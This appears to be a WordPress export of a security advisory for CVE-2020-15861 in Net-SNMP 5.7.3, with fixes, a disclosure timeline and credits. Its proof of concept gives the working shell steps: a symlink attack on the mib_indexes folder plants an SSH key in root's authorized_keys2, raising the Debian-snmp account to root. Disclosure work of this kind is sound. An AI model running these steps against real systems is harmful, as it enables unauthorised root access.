{"id":16711,"date":"2021-07-08T08:19:33","date_gmt":"2021-07-08T06:19:33","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2020-0060\/"},"modified":"2021-07-19T14:17:25","modified_gmt":"2021-07-19T12:17:25","slug":"usd-2020-0060","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2020-0060\/","title":{"rendered":"usd-2020-0060"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2020-0060 | Net-SNMP v5.7.3<\/span><\/h1>\n<p><span><\/span><\/p>\n<p><span><\/span><strong>Advisory ID<\/strong><span>: usd-2020-0060<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2020-15861<\/span><br \/><strong>Affected Product<\/strong><span>: Net-SNMP<\/span><br \/><strong>Affected Version<\/strong><span>: 5.7.3<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Elevation of Privileges<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"http:\/\/www.net-snmp.org\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.net-snmp.org\/<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p>On Debian based systems, the NET-SNMP daemon runs as a low privileged user account. However, in combination with the <code>snmp-mibs-downloader package<\/code> this protection can be bypassed and it is possible for this account to elevate permissions to the root user.<\/p>\n<p>The <strong>Simple Network Management Protocol (SNMP)<\/strong> is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (Debian-snmp), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.<\/p>\n<h3><\/h3>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>After installing the SNMP daemon on a Debian based system (e.g. <\/span><code>apt install snmpd<\/code><span>), a new user account is created by the installer:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]root:x:0:0:root:\/root:\/bin\/bash<br \/>\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br \/>\n[..SNIP..]<br \/>\nDebian-snmp:x:122:127::\/var\/lib\/snmp:\/bin\/false<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]\"The Debian-snmp user has configured its home directory inside<br \/>\n<code>\/var\/lib\/snmp<\/code><br \/>\nwhich contains the following contents per default:<\/p>\n<p>The Debian-snmp user has configured its home directory inside<\/p>\n<pre class=\"x-code\">\/var\/lib\/snmp<\/pre>\n<p>which contains the following contents per default:[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]ubuntu@ubuntu:\/var\/lib\/snmp$ ls -la<\/p>\n<p>total 4<\/p>\n<p>drwxr-xr-x 1 Debian-snmp Debian-snmp 100 Jul 7 04:57 .<\/p>\n<p>drwxr-xr-x 1 root root 500 Jul 7 04:26 ..<\/p>\n<p>drwx------ 2 root root 100 Jul 7 04:46 mib_indexes<\/p>\n<p>-rw------- 1 Debian-snmp Debian-snmp 1097 Jul 7 04:57 snmpd.conf[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>After installing the <\/span><code>snmp-mibs-downloader<\/code><span> package, another folder is created inside this directory:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]total 4<br \/>\ndrwxr-xr-x 1 Debian-snmp Debian-snmp  100 Jul  7 04:57 .<br \/>\ndrwxr-xr-x 1 root        root         500 Jul  7 04:26 ..<br \/>\ndrwx------ 2 root        root         100 Jul  7 04:46 mib_indexes<br \/>\ndrwxr-xr-x 4 root        root          80 Jul  7 04:43 mibs<br \/>\n-rw------- 1 Debian-snmp Debian-snmp 1097 Jul  7 04:57 snmpd.conf<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>The <\/span><code>mib_indexes<\/code><span> folder contains different files that store lists of all available MIBs on the server. The following snipped shows that some of these MIBs are loaded from a path that is located inside the home directory of the Debian-snmp user:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]root@ubuntu:\/var\/lib\/snmp\/mib_indexes# ls<br \/>\n0  1  2<br \/>\nroot@ubuntu:\/var\/lib\/snmp\/mib_indexes# cat 1<br \/>\nDIR \/usr\/share\/snmp\/mibs\/iana<br \/>\nIANAifType-MIB IANAifType-MIB<br \/>\n[..SNIP..]<br \/>\nroot@ubuntu:\/var\/lib\/snmp\/mib_indexes# ls -l \/usr\/share\/snmp\/mibs\/iana<br \/>\nlrwxrwxrwx 1 root root 23 Sep  1  2016 \/usr\/share\/snmp\/mibs\/iana -&gt; \/var\/lib\/snmp\/mibs\/iana<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>The index files always contain the first word of the MIB configuration file, followed by the filename of the MIB configuration file. This allows the Debian-snmp user to partially control the contents of the index files. Furthermore, the index files are rewritten on each startup of snmpd as the root user account. This allows to perform a symlink attack as the Debian-snmp user.<\/p>\n<p>To perform the attack the Debian-snmp user first moves the <code>mib_indexes<\/code> and <code>mibs<\/code> folder inside of its home directory.<br \/>Afterwards the folders are recreated.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]Debian-snmp@ubuntu:\/var\/lib\/snmp$ id<br \/>\nuid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp$ mv mib_indexes moved<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp$ mkdir mib_indexes<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp$ mv mibs moved2<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp$ mkdir mibs<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp$ ls -l<br \/>\ntotal 4<br \/>\ndrwxr-xr-x 2 Debian-snmp Debian-snmp   40 Jul  7 05:00 mib_indexes<br \/>\ndrwxr-xr-x 2 Debian-snmp Debian-snmp   40 Jul  7 05:02 mibs<br \/>\ndrwx------ 2 root        root         100 Jul  7 04:46 moved<br \/>\ndrwxr-xr-x 4 root        root          80 Jul  7 04:43 moved2<br \/>\n-rw------- 1 Debian-snmp Debian-snmp 1097 Jul  7 04:57 snmpd.conf<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>Now the folders <\/span><code>mib_indexes<\/code><span> and <\/span><code>mibs<\/code><span> are owned by Debian-snmp and it is possible to create arbitrary contents inside of them. The following snipped shows how a malicious MIB configuration file is generated and placed inside <\/span><code>\/var\/lib\/snmp\/mibs\/iana\/<\/code><span>:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]Debian-snmp@ubuntu:\/var\/lib\/snmp$ cd mibs<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs$ mkdir iana<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs$ cd iana\/<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs\/iana$ cp \/usr\/share\/snmp\/mibs\/LM-SENSORS-MIB.txt 'AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB'<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs\/iana$ vim AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa\\ -MIB<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs\/iana$ head -n 1 AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa\\ -MIB<br \/>\nssh-ed25519 DEFINITIONS ::= BEGIN<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mibs\/iana$ ls<br \/>\n'AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB'<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>The filename of the MIB configuration file was chosen to match a SSH public key. The first word inside the configuration file contains the key-algorithm. The key-algorithm followed by the SSH public key will be written to an index file once the snmpd daemon is restarted. The Debian-snmp user can now setup a symlink to write the index file to an arbitrary location of the file system.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]Debian-snmp@ubuntu:\/var\/lib\/snmp\/mibs\/iana$ cd \/var\/lib\/snmp\/mib_indexes\/<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mib_indexes$ ln -s \/root\/.ssh\/authorized_keys2 1<br \/>\nDebian-snmp@ubuntu:\/var\/lib\/snmp\/mib_indexes$ ls -l<br \/>\ntotal 0<br \/>\nlrwxrwxrwx 1 Debian-snmp Debian-snmp 27 Jul  7 05:16 1 -&gt; \/root\/.ssh\/authorized_keys2<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>After the snmpd daemon is restarted, the index files get rewritten:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]Debian-snmp@ubuntu:\/var\/lib\/snmp\/mib_indexes$ ls -l<br \/>\ntotal 4<br \/>\n-rw-r--r-- 1 root        root        1013 Jul  7 05:17 0<br \/>\nlrwxrwxrwx 1 Debian-snmp Debian-snmp   27 Jul  7 05:16 1 -&gt; \/root\/.ssh\/authorized_keys2<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>Using the root account it can be confirmed, that the <\/span><code>authorized_keys2<\/code><span> file was written with the contents controlled by the Debian-snmp user:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]root@ubuntu:~# ls -l \/root\/.ssh\/<br \/>\ntotal 4<br \/>\n-rw-r--r-- 1 root root   0 Jul  7 05:17 authorized_keys<br \/>\n-rw-r--r-- 1 root root 116 Jul  7 05:18 authorized_keys2<br \/>\nroot@ubuntu:~# cat \/root\/.ssh\/authorized_keys2<br \/>\nDIR \/usr\/share\/snmp\/mibs\/iana<br \/>\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB<\/code>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Now the Debian-snmp user can use ssh to get access as the root account.<\/p>\n<p>Notice that in the demonstration above an interactive command prompt was used. However, all commands could also be executed remotely by using the <code>NET-SNMP-EXTEND-MIB<\/code> extension and an account that has <strong>read-write<\/strong> access to the SNMP server.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>There are different possibilities to fix this issue.<\/p>\n<ol>\n<li>Don\u2019t allow the Debian-snmp user to control the contents of the <code>mibs<\/code> and <code>mib_indexes<\/code> folders inside <code>\/var\/lib\/snmp<\/code>.<\/li>\n<li>Don\u2019t write the <code>mib_index<\/code> files as the root user, but use the Debian-snmp account instead.<\/li>\n<li>Don\u2019t follow symlinks on <code>mib_index<\/code> creation.<\/li>\n<\/ol>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2020-07-09 First contact request via Github at <a href=\"https:\/\/github.com\/net-snmp\/net-snmp\/issues\/145\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/net-snmp\/net-snmp\/issues\/145<\/a><\/li>\n<li>2020-07-16 Net-SNMP v5.8 is released and fixes the vulnerability<\/li>\n<li>2020-09-29 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2020-0060 | Net-SNMP v5.7.3 Advisory ID: usd-2020-0060CVE Number: CVE-2020-15861Affected Product: Net-SNMPAffected Version: 5.7.3Vulnerability Type: Elevation of PrivilegesSecurity Risk: HighVendor URL: http:\/\/www.net-snmp.org\/Vendor Status: Fixed Description On Debian based systems, the NET-SNMP daemon runs as a low privileged user account. However, in combination with the snmp-mibs-downloader package this protection can be bypassed and it is possible for [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16711","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16711"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16711\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}